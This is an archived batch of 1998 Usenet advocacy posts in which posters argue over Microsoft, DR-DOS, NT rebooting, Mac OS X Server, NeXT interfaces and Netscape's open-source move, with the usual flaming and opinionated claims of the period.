Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com>
<36736392.3496497@news2.asan.com>
<19981213123502842284@ts2-18.aug.com>
<pxpst2-1312981355020001@pelli.pathology.pitt.edu>
<3674321d.370642@news2.asan.com>
<pxpst2-1312981735570001@pelli.pathology.pitt.edu>
<36751b1f.747444@news2.asan.com>
From: token@cip.informatik.uni-wuerzburg.de (Matthias Buelow)
Date: 14 Dec 1998 15:26:25 +0100
Message-ID: <ye0lnkadcku.fsf@aruba.informatik.uni-wuerzburg.de>
Organization: Universitas Herbipolensis / Germany
Mime-Version: 1.0
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In article <36751b1f.747444@news2.asan.com>
willy1@rocketmail.com (Willy) writes:
>>But I was talking about the OS which has no competition not the apps like
>>Office/word which do have competition.
>
>The price of the OS remains the same, but there's a great deal more
>technology in there. Doesn't that count for anything?
Mentioning the words "technology" and "OS (as Microsoft Windows)" in
one sentence is an ignorant silly joke which insults all the engineers
and scientists who are really involved with technology. OTOH, you could
probably also speak of "technology" when describing a shopping cart.
--
Matthias K. Buelow * Boycott Micro$oft, see http://www.vcnet.com/bms/ *
From: float@interport.net (void)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: 14 Dec 1998 14:31:07 GMT
Message-ID: <slrn77a897.bcs.float@interport.net>
References: <36717987.21076075@news2.asan.com> <petrichF3uv7J.7w2@netcom.com> <87pv9o3mbu.fsf@altair.mayn.de> <uQEc2.1649$WZ6.4080317@ptah.visi.com> <74va0v$cou$1@wuff.mayn.de> <y1uaf0rr02y.fsf@acuson.com>
NNTP-Posting-Date: 14 Dec 1998 14:31:07 GMT
User-Agent: slrn/0.9.5.3 (UNIX)
On 13 Dec 1998 17:20:21 -0800, Darin Johnson <darin@usa.net.nospam> wrote:
>
>The only higher quality you get with the commercial unixes are more
>gloss to the docs and more availability of commercial applications.
Neither the free BSDs nor Linux offer multiprocessor support as good as
Solaris'. Several of the commercial unixes have advanced filesystems that
do things that FFS and ext2fs can't. Etc., etc.
I use and advocate FreeBSD, and in many ways I prefer it to commercial
unixes, but let's not get ahead of ourselves here.
--
Ben
"You have your mind on computers, it seems."
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Mon, 14 Dec 1998 14:36:41 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
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References: <36717987.21076075@news2.asan.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <3673796A.362778FC@brown.edu> <3673e51c.3291382@news2.asan.com> <199812131458381360696@ts2-18.aug.com> <367434cd.1058311@news2.asan.com> <36750C07.406C0211@ix.netcom.com>
On Mon, 14 Dec 1998 07:00:55 -0600, in comp.os.ms-windows.advocacy Tim
Kelley <tpkelley@ix.netcom.com> wrote:
>I can't believe anyone who has spent any time with DR_DOS thinks MS_DOS
>is better. It was (is) most CLEARLY a better product.
>
>-multi tasking, much better multi tasking than Win3x, some cases better
>than 95
Multi-tasking???? What are you talking about??? This was DOS! If
you're taking about the task-switcher, well, it was interesting but it
didn't work well with applications that used upper memory or EMS. It
certainly wasn't better than Win31 since Win31 pre-emptively
multitasked DOS boxes (why they didn't do that with Windows apps, I'll
never know.) You could recover from a crashed DOS application in
Win31. If an app crashed with the task-switcher, your entire machine
crashed.
>-no "incorrect DOS version" nonsense
That's an application issue.
>-much better utilities (compare mem, fdisk, etc. from both)
I'd say "different". Their text editor was a joke. Even EDLIN was
easier to use.
>-no memory nonsense
There was *much* memory nonsense if you wanted to optimize memory.
With MS-DOS, MEMMAKER would optimize upper memory. With DR-DOS, you
had to tweak everything yourself. Granted, it was fun playing with
the configuration to use every byte of upper memory but most people
would rather have had the system configure itself.
>I could go on ... but you obviously did not spend any time with it or do
>not know DOS well enough to notice the huge differences.
I spent a lot of time with it. DR-DOS was nothing special.
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Mon, 14 Dec 1998 14:49:03 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <367522b5.2689507@news2.asan.com>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <3673796A.362778FC@brown.edu> <3673e51c.3291382@news2.asan.com> <3674B98C.45BC948D@brown.edu>
On Mon, 14 Dec 1998 03:09:02 -0400, in comp.os.ms-windows.advocacy Ben
White <benjamin_white@brown.edu> wrote:
>When exactly did I contend that MS apps and OS have no value?
I jumped to that conclusion from your remark about MS dictating
functions. Sorry.
>I know that the
>apps are functional for many users. I'm also sure that their UI research is
>extensive. That has little to do with my contention that MS apps are not
>extensible by design.
But some are. Every MS app that supports VBA has a powerful
programming language to do whatever you want. You can use VBA to add
and change menu items or to add functionality that doesn't exist in
the application.
>> That is not so. Companies can and do install Navigator on computers.
>
>You are simply naive if you don't think MS exerts considerable pressure on
>OEMs to install and use their products.
No, I've just bought computers that have Navigator on them.
>Actually, no. That's what the lawyer was saying. The AOL exec (Colburn, I
>think) maintains that there was significant, if subtle, coercion.
The AOL e-mails tell a different story. They couldn't have used
Navigator even if they wanted to. Their own technical requirements
gave them no choice.
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Mon, 14 Dec 1998 14:50:00 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <36752570.3388642@news2.asan.com>
References: <36717987.21076075@news2.asan.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <750j9i$nbh$1@wuff.mayn.de> <3673e424.3043095@news2.asan.com> <8790gbhea2.fsf@altair.mayn.de>
On 13 Dec 1998 23:23:49 +0100, in comp.os.ms-windows.advocacy Matthias
Buelow <mkb@altair.mayn.de> wrote:
>willy1@rocketmail.com (Willy) writes:
>
>> >You never change the routing table, or configure a different nameserver?
>>
>> No. I haven't had need to touch the routing table and my ISP assigns
>> the nameserver along with the IP. Pretty cool, huh? The NT servers
>> and NT workstations at my office are setup the same way.
>
>Oh yeah, I don't use the breaks on my car (breaking is for weaklings!)
>so why should my car maker produce properly working ones. In fact I'd
>never buy a car with such obsolete gears!
What does *that* mean???
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Mon, 14 Dec 1998 14:58:14 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <3675260e.3546429@news2.asan.com>
References: <36717987.21076075@news2.asan.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <750j9i$nbh$1@wuff.mayn.de> <3673e424.3043095@news2.asan.com> <3674BA41.9F874D97@brown.edu>
On Mon, 14 Dec 1998 03:12:04 -0400, in comp.os.ms-windows.advocacy Ben
White <benjamin_white@brown.edu> wrote:
>Willy wrote:
>> >You never change the routing table, or configure a different nameserver?
>>
>> No. I haven't had need to touch the routing table and my ISP assigns
>> the nameserver along with the IP. Pretty cool, huh? The NT servers
>> and NT workstations at my office are setup the same way.
>
>Good for you. But what about your ISP? If their nameserver goes down or they
>change nameservers, they need to change the nameserver info on their servers
>to point to another machine. Why should that require a reboot? Do you want to
>be down -- even if only for a few minutes? What if you're a e-business taking
>orders online and potential clients can't reach you because you are having to
>reboot your server. Pretty cool, huh? I think not.
They are correct in rebooting. If they change their DNS information,
there's absolutely no way for me, as a workstation, to get that new
information. I have to get thrown off so that I can log on again to
get the new configuration. How else am I to know of the new
nameserver info?
From: Michael <michael@tone.ca>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Mon, 14 Dec 1998 10:12:09 -0500
Organization: Styx DTP
Sender: monner@dial04p62.ottawa.storm.ca
Message-ID: <36752AC8.6CD4066C@tone.ca>
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <36742159.EA45364E@nstar.net> <7528dr$rfe$1@hecate.umd.edu> <3674BBCA.7BB77907@nstar.net>
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NNTP-Posting-Date: 14 Dec 1998 15:12:57 GMT
"Michael J. Peck" wrote:
> > IMO, defining a "good unix" from this standpoint
> > doesn't work, because then every unix would be a "good unix".
>
> No, not so. In any case I suspect it will exclude Mac OS X, which was
> the point.
>
I expect your right about MacOSX from a unix persons point of view.
On the other hand my point of view is that a product will be a good unix
when it has a sufficiently good gui that the average user can use it
without reference to command lines. This will make MacOSX the first good
unix so far, when it arrives.
Michael (not trying to initiate a flame war, just adding another
dimension.)
From: Stephen Edwards <ja207030@primenet.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's never ending arrogance
Date: 14 Dec 1998 15:21:58 GMT
Organization: Anamorphic 3-D Graphics Inc.
Message-ID: <753aem$f2q$1@nnrp03.primenet.com>
References: <36717987.21076075@news2.asan.com> <rbarris-1112981245140001@192.168.1.16> <74sa3o$hqd$1@nnrp1.dejanews.com> <3672a08a.4301575@news2.asan.com>
Willy <willy1@rocketmail.com> wrote:
: On Fri, 11 Dec 1998 23:33:12 GMT, in comp.os.ms-windows.advocacy
: sinank@my-dejanews.com wrote:
: [gibberish snipped]
: What the hell does this crap mean???
It means, "I have absolutely nothing important in my life, and instead of
going outside once in a while, and doing something with my life, I'm going
to try to make myself feel important by joining the Anti-Microsoft
campaign, so I can bitch about Microsoft to every single person I meet,
and look really big and cool, to make up for everything I've missed out
on in life because I was just too pathetic to take initiative."
[] Footnote server is currently down...
--
.-----.
|[_] :| Stephen S. Edwards II | http://www.primenet.com/~rakmount
| = :| Support the shareware authors... register your software!
| | Please send all flames, trolls, and complaints to /dev/toilet.
|_..._| LUSER: I have a problem. ADMIN: Keep talking... I'm reloading.
From: pxpst2@unixs.cis.pitt.edu (Peter)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Mon, 14 Dec 1998 10:38:03 -0500
Organization: University Of Pittsburgh
Message-ID: <pxpst2-1412981038030001@pelli.pathology.pitt.edu>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <36736392.3496497@news2.asan.com> <19981213123502842284@ts2-18.aug.com> <pxpst2-1312981355020001@pelli.pathology.pitt.edu> <3674321d.370642@news2.asan.com> <pxpst2-1312981735570001@pelli.pathology.pitt.edu> <36751b1f.747444@news2.asan.com>
In article <36751b1f.747444@news2.asan.com>, willy1@rocketmail.com (Willy)
wrote:
> The price of the OS remains the same, but there's a great deal more
> technology in there. Doesn't that count for anything?
.....and hardware has come a long way as well YET it has still gotten
cheaper. So no, that does not count for anything.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 13 Dec 1998 21:59:52 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <751dco$a3k@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <74u5bd$bb4@news1.panix.com> <74uemb$2jf$1@jetsam.uits.indiana.edu> <74v2bp$jd5$1@remarQ.com> <750ii1$6hm$1@jetsam.uits.indiana.edu>
On 13 Dec 1998 14:21:53 GMT, Gregory Loren Hansen
<glhansen@copper.ucs.indiana.edu> wrote:
>>NeXT had a default login account, "me". As long as this had no
>>password, the machine booted up then automaticaly logged into
>>that account, so the user saw a standard desktop automatically.
>>If the user added a password to the account, he got a GUI login
>>screen, not completely unlike NT.
>
>Wow, they've thought of everything!
>
>And I suppose "me" have my own home directory,
/me on the system root.
> so if I really wanted to I
>could leave that open for public use, but log into my own
>password-protected account by choosing some kind of login option from
>"me"'s account?
It is a bit harder than it should be (when compared to right-clicking
and selecting "share" on WinNT) but I doubt any user that understands
networking on some very basic level should have trouble seting up a share
for some directory under /me for that purpose.
I don't think it is a good idea to have "me" open with no password on
a machine with password accounts. I am not aware of any security holes per
say, something about it rubs me the wrong way.
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
References: <36717987.21076075@news2.asan.com> <petrichF3uv7J.7w2@netcom.com> <87pv9o3mbu.fsf@altair.mayn.de> <36751C8A.2C01351A@cadence.com>
Organization: NIL
From: token@cip.informatik.uni-wuerzburg.de (Matthias Buelow)
Message-ID: <3675343d.0@uni-wuerzburg.de>
Date: 14 Dec 98 15:52:29 GMT
In article <36751C8A.2C01351A@cadence.com>,
Simon Kinahan <simonk@cadence.com> wrote:
>I take it from that you don't do much C programming ? The Linux kernel and
>some of the utilities are exmaples of *clean* and *well*written* C code.
Then your definition of "*clean* and *well*written* C code" certainly
doesn't match mine.
--
Matthias K. Buelow * Boycott Micro$oft, see http://www.vcnet.com/bms/ *
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
References: <36717987.21076075@news2.asan.com> <3673e424.3043095@news2.asan.com> <8790gbhea2.fsf@altair.mayn.de> <36752570.3388642@news2.asan.com>
Organization: NIL
From: token@cip.informatik.uni-wuerzburg.de (Matthias Buelow)
Message-ID: <367533cd.0@uni-wuerzburg.de>
Date: 14 Dec 98 15:50:37 GMT
In article <36752570.3388642@news2.asan.com>,
Willy <willy1@rocketmail.com> wrote:
>What does *that* mean???
Gakh.. lart your newsserver, the posting you replied to was cancelled.
--
Matthias K. Buelow * Boycott Micro$oft, see http://www.vcnet.com/bms/ *
From: Matthias Buelow <mkb@altair.mayn.de>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: cmsg cancel <8790gbhea2.fsf@altair.mayn.de>
Control: cancel <8790gbhea2.fsf@altair.mayn.de>
Date: 14 Dec 1998 00:27:26 +0100
Organization: [Posted via] GeFoekoM e.V. Wuerzburg
Message-ID: <87pv9n39nl.fsf@altair.mayn.de>
I am canceling my own article.
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: MacOS X and file associations, etc.
Content-Type: text/plain; charset=us-ascii
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Organization: needs one
References: <jc403-1412980322310001@jxn.watt.rhno.columbia.edu>
Mime-Version: 1.0
Date: Mon, 14 Dec 1998 15:56:30 GMT
In <jc403-1412980322310001@jxn.watt.rhno.columbia.edu> Jackson Cheung wrote:
> Does anyone know what is going to happen to the current mac system of
> having the desktop DB and resource forks to determine stuff like file
> associations. I assume that all this stuff is still in the blue box (and
> maybe carbon?). However, will we be be moving into a world of 3 letter
> extensions when shifting to MacOS X (specifically Yellow box)? If it's
> something like the latter, does this mean there will be some sort of
> database analogous to a Windows registry (yikes)?
I was very worried about this too. Then I used it. Now I don't worry.
Maury
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: NEXT UI on MacOS 8.x
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Organization: needs one
References: <14Nc2.20795$q15.465873@news.san.rr.com>
Mime-Version: 1.0
Date: Mon, 14 Dec 1998 15:57:30 GMT
In <14Nc2.20795$q15.465873@news.san.rr.com> "Ed Deans." wrote:
> good rendition of the unused NEXTSTEP 4.0 UI.
Speaking of, who had the snapshots of the UI up? I can't find that page
any more.
Maury
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: NEXT UI on MacOS 8.x
Content-Type: text/plain; charset=us-ascii
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Cc: willadams@aol.com
Organization: needs one
References: <14Nc2.20795$q15.465873@news.san.rr.com> <19981213093837.15584.00002564@ng-fi1.aol.com>
Mime-Version: 1.0
Date: Mon, 14 Dec 1998 16:03:57 GMT
In <19981213093837.15584.00002564@ng-fi1.aol.com> WillAdams wrote:
> Looks like, not works like.
[snip]
Indeed, but this does seem to suggest that once it's all under one roof
this will no longer be an issue.
> I want a program launcher which will let me keep track of which
> applications are running and which can be dragged out of the
> way when I need the room.
You can download them now actually. Some are excellent and also fixed my
objections to the NeXT one (ie, holds anything). I don't know if they
follow Kalidascope very well though.
The funny thing about all of this on the Mac side though is how long it's
taken them to get this whole "apperance" thing out, and just how poor it
is. I can understand their trepidation considering some of the themes I've
seen, but that seems like a poor excuse. Still I'll probably take the time
at some point to do a "real" Sys7 theme, which is the only time they got it
close to useable anyway.
Maury
From: Simon Kinahan <simonk@cadence.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Mon, 14 Dec 1998 16:18:13 +0000
Organization: Cadence Design System, Inc.
Message-ID: <36753A45.AE394E33@cadence.com>
References: <36717987.21076075@news2.asan.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <750j9i$nbh$1@wuff.mayn.de>
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Matthias Buelow wrote:
>
> You never change the routing table, or configure a different nameserver?
>
All you have to do is install a new application and it will tell you it
needs to reboot. I'm told it is usually lieing, but its damn irritating.
Simon
From: Simon Kinahan <simonk@cadence.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Mon, 14 Dec 1998 16:25:54 +0000
Organization: Cadence Design System, Inc.
Message-ID: <36753C12.ACDBCAD4@cadence.com>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <3672a0d2.4373198@news2.asan.com> <slrn77900a.oml.float@interport.net>
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void wrote:
> What you see as a strength, I see as a weakness. The features you laud
> can only operate because the software makes a large number of assumptions
> about its environment. This is asking for trouble: software cannot
> usually tell when an assumption has gone wrong, and has no way of
> backtracking and reformulating hypotheses.
I agree with what you are saying, these features are a threat to stability,
but that never stops customers from asking for them, because they work 95%
of the time. While they annoy 5% of people (who have friends with Van as
their middle name, for instance) in exceptional situations, average users
love them, especially average users of below average computer skills.
In general the problem is being asked to parse fuzzily specified input to
recover structure thats been lost. While people can do this, and consider
it obvious, computer software has one hell of a time.
Simon
Newsgroups: comp.sys.next.advocacy
From: Michael_Humphries-Dolnick.nospam@wdr.com (Michael Humphries-Dolnick)
Subject: Re: Microsoft's never ending arrogance
Message-ID: <1998Dec14.153422.20107@il.us.swissbank.com>
Sender: root@il.us.swissbank.com (Operator)
Organization: Swiss Bank Corporation CM&T Division
References: <3672a08a.4301575@news2.asan.com>
Date: Mon, 14 Dec 1998 15:34:22 GMT
In article <3672a08a.4301575@news2.asan.com> willy1@rocketmail.com (Willy)
writes:
> On Fri, 11 Dec 1998 23:33:12 GMT, in comp.os.ms-windows.advocacy
> sinank@my-dejanews.com wrote:
>
> [gibberish snipped]
>
> What the hell does this crap mean???
It means someone's taking himself a bit too seriously.
--
Michael Humphries-Dolnick
"My opinions, not my employer's"
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: 14 Dec 1998 17:15:18 GMT
Organization: A highly funded yet unoffical government agency
Message-ID: <753h36$45m$1@remarQ.com>
References: <36717987.21076075@news2.asan.com> <3673e424.3043095@news2.asan.com> <3674BA41.9F874D97@brown.edu> <3675260e.3546429@news2.asan.com>
In article <3675260e.3546429@news2.asan.com>,
Willy <willy1@rocketmail.com> wrote:
>They are correct in rebooting. If they change their DNS information,
>there's absolutely no way for me, as a workstation, to get that new
>information.
You have a limited imagination. It's done routinely in the Unix world.
Usually the _worst_ you have to do in this class of problem is send
a -HUP signal to whatever process is involved, which causes it to re-read
its configuration files.
--
Don McGregor
mcgredo@mbay.net
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-Mt296evd1O1I@mp1423.hknet.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <FIiROLCWddLd-pn2-3djbN237fBdI@localhost> <74u640$bi9@news1.panix.com> <FIiROLCWddLd-pn2-J1dI0omPkFgd@localhost> <751dcq$a3k@news1.panix.com> <FIiROLCWddLd-pn2-WHpCoDpMpgYL@localhost> <joe.ragosta-1412980643110001@elk65.dol.net>
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Date: 14 Dec 98 17:23:02 GMT
On Mon, 14 Dec 1998 11:43:11, joe.ragosta@dol.net (Joe Ragosta)
thought aloud:
> In article <FIiROLCWddLd-pn2-WHpCoDpMpgYL@localhost>,
> pit@iohk.SPAM-NOT.com (taiQ) wrote:
>
> > Agreed. Even "analysts" predict that Apple's hardware shipments have
> > stabilized at around 2.9M/year into the foreseeable future, based on
> > Apple's continuing on proprietary path.
>
> Just curious--is this the same group of analysts who declared Apple dead
> every year from 1984 to 1998 or have you found a different group of
> analysts?
You mean, in every other profession all would have been sacked for
poor performance decades ago...? :^)
Btw, welcome back, Joe.
Brgds,
--
taiQ
[this space is intentionally blank]
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
Date: Mon, 14 Dec 1998 09:33:24 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn77aiv4.aic.jedi@dementia.mishnet>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <SCOTT.98Dec7000502@slave.doubleu.com> <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost> <74jlr2$b4u$1@remarQ.com> <BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net> <74l1bv$i65@news1.panix.com> <74m2n1$ndr$2@nnrp03.primenet.com> <74niqa$but@news1.panix.com> <slrn76v50k.25i.jedi@dementia.mishnet> <74qc67$7pg@news1.panix.com> <slrn7724vs.23m.jedi@dementia.mishnet> <74u5bg$bb4@news1.panix.com> <3672F4B6.4621878E@nstar.net> <7512ha$79d@news1.panix.com>
On 13 Dec 1998 18:54:34 GMT, Sal Denaro <sal@panix.com> wrote:
>On Sat, 12 Dec 1998 16:56:54 -0600, Michael J. Peck <mjpeck@nstar.net> wrote:
>>> That would be pure conjecture, either for or against. How do you expect me to
>>> debate what might have happened if Netscape hadn't made their product
>>> opensource with no facts for or against?
>>Well, after floating pure conjecture to the effect that Netscape had
>>done no better by going Open Source than without, one might ask you the
>>same question. And one has.
>
>Huh?
>
>I disagreed with the assessment of others that going OpenSource has saved
>Netscape. I based my opinion on the facts that since the announcement their
>market share has not increased, nor has going OpenSource translated to any
>new sources of income.
>
>The new influx of developers hasn't yet translated into new sales, nor has it
>translated into overall gains in market share.
>
>My statements weren't pulled out of thin air, they are backed up by a number
>of credible sources of statistical data.
>
>>Perhaps you'll be interested in a CBS Marketwatch article (which you've
>>already seen, of course, since you read Slashdot) which disagrees with
>>your assessment of Netscape's Open Source move.
>>http://cbs.marketwatch.com/archive/19981209/news/current/rebecca.htx?source=blq/yhoo
>
>I read the article, can you point out where she disagrees with my assessment
>that Netscape has continued to lose market share after going OpenSource?
>
>I don't dispute that the new NGLayout will be a great product. The best product
>doesn't always win.
>
OpenSource for them at this point is merely aping the ability
of Microsoft to bleed on the product indefinitely...
--
Unix had startmenus and taskbars before Microsoft |||
even had a decent memory manager for DOS. / | \
In search of sane PPP docs? Try http://penguin.lvcm.com
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXT UI on MacOS 8.x
Date: 14 Dec 1998 17:49:13 GMT
Organization: AOL http://www.aol.com
References: <F3ypyL.6wx@T-FCN.Net>
Message-ID: <19981214124913.29774.00002394@ng54.aol.com>
I said:
> I want a program launcher which will let me keep track of which
> applications are running and which can be dragged out of the
> way when I need the room.
To which Maury replied:
<<
You can download them now actually. Some are excellent and also fixed my
objections to the NeXT one (ie, holds anything). I don't know if they
follow Kalidascope very well though.
>>
Could you provide a URL and an observation of how stable the program(s) is/are?
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: Simon Kinahan <simonk@cadence.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Mon, 14 Dec 1998 18:01:46 +0000
Organization: Cadence Design System, Inc.
Message-ID: <3675528A.5C1F756F@cadence.com>
References: <36717987.21076075@news2.asan.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <3673796A.362778FC@brown.edu> <3673e51c.3291382@news2.asan.com> <199812131458381360696@ts2-18.aug.com> <367434cd.1058311@news2.asan.com> <36750C07.406C0211@ix.netcom.com> <36751c24.1008860@news2.asan.com>
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Willy wrote:
>
> On Mon, 14 Dec 1998 07:00:55 -0600, in comp.os.ms-windows.advocacy Tim
> Kelley <tpkelley@ix.netcom.com> wrote:
>
> >I can't believe anyone who has spent any time with DR_DOS thinks MS_DOS
> >is better. It was (is) most CLEARLY a better product.
> >
> >-multi tasking, much better multi tasking than Win3x, some cases better
> >than 95
>
> Multi-tasking???? What are you talking about??? This was DOS! If
> you're taking about the task-switcher, well, it was interesting but it
> didn't work well with applications that used upper memory or EMS.
I beleive DR used to have a genuinely preemptive version of DOS called
C-DOS. Maybe that was combined into DR-DOS at some point ? I don't know how
many applications it worked with, but it seemed like a good idea to me.
Simon
From: Pascal Haakmat <ahaakmat@cable.a2000.nl>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Business case for OpenCarbon
Date: Mon, 14 Dec 1998 19:11:20 +0100
Organization: A2000 Kabeltelevisie & Telecommunicatie
Message-ID: <367554C1.520516C0@cable.a2000.nl>
